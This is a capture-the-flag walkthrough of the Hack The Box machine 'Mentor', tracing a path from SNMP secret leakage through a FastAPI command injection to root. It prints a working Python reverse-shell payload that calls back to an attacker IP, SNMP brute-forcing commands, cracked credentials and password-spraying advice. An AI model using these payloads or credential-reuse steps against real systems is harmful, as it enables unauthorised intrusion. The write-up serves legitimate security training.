Skip to content

Mentor — HTB Writeup

  • Box: Mentor (Linux, Medium)
  • IP: 10.129.228.102 → mentorquotes.htb, api.mentorquotes.htb
  • Result: User ✓ | Root ✓ (root.txt = e6907d605d0efc1e5aa66bcb6cfa89ee)
  • One-line: SNMP-leaked API password → FastAPI /admin/backup command injection (root in container) → app DB creds → crack svc → SSH → snmpd.conf password reuse to james → sudo /bin/sh.

1. Recon

nmap -p22,80 -sSCV --min-rate=2000 -Pn -oN nmap/mentorNmapServicesVersions.txt 10.129.228.102
Flags/Notes: -sS SYN scan, -C default scripts, -V version, -Pn skip host discovery (HTB blocks ping sweeps sometimes), --min-rate=2000 speed.

Key output: - 22/tcp OpenSSH 8.9p1 Ubuntu — nothing exploitable post-7.7. - 80/tcp Apache 2.4.52, title MentorQuotes, server header leaks Werkzeug/2.0.3 Python/3.6.9 → Apache is a reverse proxy in front of a Python app.

Decision: Python web app behind Apache. Fuzz vhosts — a "quotes" site with a Werkzeug backend usually has an API subdomain.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://mentorquotes.htb/ -H "Host: FUZZ.mentorquotes.htb" -fs <baseline>
→ api.mentorquotes.htb. Added both to /etc/hosts.


2. API enumeration

http://api.mentorquotes.htb/docs → FastAPI Swagger UI. Endpoints include auth (register/login) and an /admin/backup that requires an admin JWT. Registering a normal user + logging in gives a JWT, but not admin — need admin creds.

Success looks like: /docs returns 200 with an OpenAPI schema. A registered user can call read endpoints but /admin/* returns 401/403.


3. SNMP — the pivot everyone misses

Default community failed; brute the community string.

./snmpbrute.py -t 10.129.228.102          # found: internal
snmpwalk -v2c -c internal 10.129.228.102 | tee YourMomsSnmpWalk.txt
Flags/Notes: -v2c SNMP v2c, -c internal community. tee keeps the ~470 KB walk for grepping.

Two secrets in the walk:

iso...25.4.2.1.5.2092 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
The process/run table (hrSWRunParameters) shows login.py was launched with its password as a command-line argument → kj23sadkj123as0-d213.

Analysis: That's the admin password for the FastAPI app (not a Linux password — a classic trap). Log into the API as admin with it → admin JWT.

Coaching note: any secret passed as a CLI arg is world-readable via /proc/<pid>/cmdline, and SNMP's host-resources MIB exposes exactly that remotely with no auth beyond the community string.


4. Foothold — /admin/backup command injection (root in container)

With the admin JWT, the backup endpoint takes a JSON path that is concatenated into a shell command. Inject a reverse shell:

{"path": ";python -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.175\",5555));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';"}
# Kali
nc -lnvp 5555

Landed as root inside a Docker container (/app, Alpine busybox — no bash, no sudo).

The deadlock trap (cost me hours — documented so it never repeats)

The payload above is blocking: it holds the request handler open for the life of the shell. FastAPI/uvicorn here has a single worker, so: - One live shell = the whole API is frozen. Every later request (Burp and a fresh curl) hangs forever; the main Apache site stays fine, but api.mentorquotes.htb times out on every path. - Killing the local nc orphans the child process → the worker never frees → the API stays dead until box reset.

Diagnosis that nailed it: curl -H "Host: api.mentorquotes.htb" http://IP/docs timed out at 12s while http://IP/ returned 302 in 0.06s. Main site healthy + API vhost wedged = pinned worker.

Fixes: - Reset the box to clear the locked worker. - Use a detached payload so the handler returns immediately and the API keeps serving:

setsid sh -c '<revshell>' &
- Always confirm tun0 (ip -4 addr show tun0) — earlier payloads pointed at a stale 10.10.14.6 while the live IP was 10.10.14.175; wrong callback = listener never fires even when the RCE succeeds.


5. Container → app database

cat /app/app/db.py
# DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
172.22.0.1 = Docker bridge gateway = the host, reachable only from the container.

Decision: query the DB from inside the container (psycopg2/SQLAlchemy already installed for the app) rather than building a chisel tunnel back to Kali — no upload, no port-forward, fastest path to the hashes.

select * from users;
--  1 | james@mentorquotes.htb | james       | 7ccdcd8c05b59add9c198d492b36a503
--  2 | svc@mentorquotes.htb   | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8

Both are unsalted MD5 → crackstation.net: - james → yourmom (works on the API, not on the host) - service_acc / svc → 123meunomeeivani


6. User — SSH as svc

ssh svc@10.129.228.102     # 123meunomeeivani
svc is a real host account. (user.txt under svc's home.)


7. Privesc — svc → james → root

svc can read the SNMP config that the box uses:

cat /etc/snmp/snmpd.conf
# createUser bootstrap MD5 SuperSecurePassword123__ DES
# com2sec AllUser default internal
The SNMPv3 auth passphrase is stored cleartext: SuperSecurePassword123__. This is reused as james's Linux password.

su james        # SuperSecurePassword123__
sudo -l
#   (ALL) /bin/sh
sudo /bin/sh
# whoami → root
cat /root/root.txt   # e6907d605d0efc1e5aa66bcb6cfa89ee

sudo /bin/sh with no restriction is an outright root shell — GTFOBins-trivial.


Lessons Learned

  1. SNMP is a two-for-one secret store here: a password leaked as a process CLI argument, and the SNMPv3 auth key sitting cleartext in snmpd.conf. Grep SNMP walks for login, .py, pass, and always read snmpd.conf post-foothold.
  2. Blocking RCE payloads deadlock single-worker web apps. If Burp and your listener both hang and the app's vhost stops answering entirely, suspect a pinned worker — reset and switch to a detached (setsid … &) payload.
  3. not found ≠ missing file. On an existing file it means a missing interpreter/loader. The i.jpillora.com/chisel! download is a bash installer script, not the binary; the real static chisel was already at /usr/bin/chisel on Kali.
  4. Don't tunnel when the target can query for you. The container already had DB reach + libs — in-container SQL beat the chisel tunnel outright.
  5. Password reuse chains: the same secret crossed a boundary (DB → SSH, SNMP config → Linux login). Always spray a newly-found password across every account and service.

Evidence

  • nmap/mentorNmapServicesVersions.txt — port/version scan
  • YourMomsSnmpWalk.txt — full SNMP walk (contains both leaked secrets)
  • loot/credentials.md — credential table
  • attack-chain.md — path + branch points
  • Screenshots: Pasted image 2026080116*.png (API /docs, users response, backup injection)